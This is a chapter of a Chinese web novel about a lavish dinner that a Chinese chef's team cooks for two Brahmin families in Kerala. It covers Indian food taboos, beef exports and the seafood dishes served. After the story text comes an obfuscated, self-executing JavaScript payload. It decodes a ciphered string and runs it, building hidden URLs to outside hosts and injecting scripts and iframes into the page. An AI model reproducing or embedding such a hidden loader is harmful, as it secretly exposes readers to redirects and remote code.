第1626章 晚餐(1 / 2)

在返回瓦尔玛家的庄园之前,外边的雨水就停了,但就算明日没雨水,在这样的短时大雨之后就进入丛林不是个什么好主意,怎么着也要让大太阳晒个一两天再说。

当晚的宴会让瓦尔玛与贾殷家族的人是放开肚子好好吃了了一顿,丹尼尔的团队结合了中西厨艺之大成,菜色丰富程度让主人家目瞪口呆!

大宴,没个四五十道菜怎好意思拿出手。

至于口味,一道大锅烧的红烧羊肉就令这帮婆罗门们胃口大开,更别说其它精细美食。

这道红烧羊肉并不是张楠老家的菜色,更不是美国菜,是丹尼从唐贵那学来的,至于唐贵,那还是在部队那会,从距离沪上并不远的海盐澉浦镇学来的。

澉浦羊肉,杠杠滴!

不过有件事让这两家的婆罗门觉得奇怪:对于羊肉,这艾伦先生居然只吃一道看着就没啥味道的冷盘白切山羊肉,蘸着点华夏产的酱油还味道挺好的样子。

张楠不喜欢红烧羊肉的,丹尼会学澉浦羊肉这道菜,那还是因为项伟荣提过一次的原因,加上厨师先生自己就觉得味道不错,不然他压根就不需去学这个。

这趟展示厨艺,正好拿出来对付这帮印度婆罗门。

印度人爱吃素,种姓越高的越吃素。而且就算吃肉,一般也就是吃点羊肉和鸡肉,最多加上点鸽子。

丹妮的团队因为自家老板只喜欢吃清汤炖鸡,所以对鸡肉的做法没有太多的研究;至于鸽子,人家一道烤鸽子研究了几百上千年,就不和主人家的强项比拼了。

张楠喜欢“龙凤斗”煲汤,但要是给瓦尔玛同贾殷家族这样的婆罗门上一锅有蛇段的汤煲,人家估计能跳起来!

下等种姓和贱民中有人吃蛇,婆罗门是绝对不碰那个,至少瓦尔玛家与贾殷家如此。

在一个禁忌多的地方请客,就是麻烦多!

印度教徒是可以吃猪肉,但印度的猪肉质量不好,饲养环境也极端不卫生,高种姓的印度教徒是绝对不碰那个的,甚至是看到活猪就觉得肮脏。

骆驼如何?

这里是南印度,没那玩意,再说丹尼的老板又不是中东亲王,厨师团队压根就没做过骆驼肉。

至于牛肉,神牛能吃吗?

这倒不一定,因为印度教徒门貌似对牛也来了个种姓制度——并不是所有的牛都是神牛,只有本地的印度瘤牛才被称为神牛、圣牛。

牛品种挺多的,在这边数量更多,像印度的水牛数量超过全世界总量的一半,可这些水牛在印度教徒眼里甚至都不能算牛!

不算牛,那就更不是神牛,自然可以宰了吃掉。

不过印度教徒们还是基本不吃水牛,水牛饲养数量大除了耕地需要之外,最主要的原因还是因为印度人对牛奶的巨大需求,还有政府对乳业发展的大力推动。

在母牛的产奶量大幅下降之后,母水牛就会和经济价值较低的公水牛一样,被送进屠宰场,成为印度牛肉出口的原材料。”

水牛可以宰,可还是不怎么吃,“水牛不算牛“的理论似乎只是印度人拿来换取经济效益的合理理由——神牛遍地的印度,居然是全世界排名前三的牛肉出口国!

很多人都不会想到印度是牛肉出口大国,价格相对低廉的印度水牛肉在非洲、中东和东南亚很多国家的市场里还挺受欢迎。

不过虽然瘤牛在印度有神圣的地位,但在如今的印度,信仰也受到了经济利益和消费趋势的冲击。

这会全印度只有3600个合法的屠宰场,但非法的屠宰场超过3万个,其中很多以屠宰和出售瘤牛肉谋利。

母瘤牛也会因为年老无法产奶或农民遭遇歉收、旱灾而被送进屠宰场,用来换取购买牛犊和维持生计的资金。

此外,一些年轻高种姓的印度教徒都开始对牛肉产生兴趣!

瓦尔玛家同贾殷家算是新时代的印度人,但同时又是最保守传统力量的拥护者,矛盾结合体。

这来印度之前,达文拉尔甚至在电话里提过,如果张楠喜欢吃牛肉,在特里凡得琅的高级商场里也是有非常不错的进口牛肉出售的,不需要直接从美国带过来。

在特里凡得琅各种信仰的人都能和谐共存,自然有牛肉卖。

达文拉尔这是照顾客人的习惯,如果感觉本地屠宰场里出来的牛肉不够卫生,昂贵的高等级进口牛肉是不错的选择。

他们家不吃,但只要不是一同就餐的环境下,并不介意客人们吃点牛肉。这会他们家族对下边的佃户吃水牛肉都不管,吃了肉有力气才好干活,作为地主,这笔账是会算的。

出于礼貌,这些天张楠就不吃牛肉了,对于喀拉拉邦本地的水牛肉更是不碰,要知道在老家那会,这水牛肉都是比不上黄牛肉的便宜货,口感差,还没什么牛肉味。

猪肉不行,这边虽然有不错的鸭子,但家乡的炖鸭就做不了,因为要用到板油同肉皮,只能上不带猪骨的麻油姜母鸭。

猪、牛都废了,这趟四条腿的兽类只能和羊较上劲,这也是没有办法的办法,要知道按照老板的饮食习惯,羊肉是吃得最少的。

至于野味,这帮喜好打猎的婆罗门除了水羚之外,其它基本不吃,真是将狩猎当成了一项运动。

当然,猎物一般不会浪费,属民中低种姓之人还是由不少吃能入口的野味的——猛兽除外,除非经过特殊的炮制,不然任何一种猛兽肉的骚味都能大得让人退避三舍!

家畜没啥选择余地,家禽限制也大,幸好这边靠海,新鲜的海鲜品种多,数量还管够!

负责采购的瓦尔玛家管家按照要求,比目鱼就让人准备了好几种,这种模样怪异的海鱼在喀拉拉邦做法不多,还以为玩不出多少花样。

印度人不知道不同品种的比目鱼做法都能玩出花来,丹尼尔等人就按照品种的不同,弄出了清蒸、香煎鱼片、红烧、烤制等好几种花色。

要不是为了照顾只会用手、刀叉勺子的主人家,花色会更多。

比目鱼只是其一,丹尼尔在昨天还特意询问了当地海产品的品种,结果发现了当地有种鱼类是老板挺喜欢的。

带鱼,让采购人员弄来了不少近乎手掌宽度的大家伙,去头、尾,清蒸一道,红烧一道。

这印度洋热带海域生长的带鱼肉质虽比东海带鱼粗了点,但也算不错,至少入味之后吃起来带劲。

鱼够大、够宽、肉够厚,两边的鱼刺取起来也方便,方便了用刀叉的一帮人。

这里没粉丝,新鲜的龙虾做蒜蓉的,手腕粗的大海虾切开后用铁板烤,稍小点品种的硬壳海虾玩红烧的。

有些菜还是瓦尔玛家的人第一次尝试,比如冷盘红卤墨鱼,还有酱爆墨鱼、青椒炒墨鱼,要不是这里没咸菜,丹尼尔还会给大家来上一份经典的咸菜炒墨鱼。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();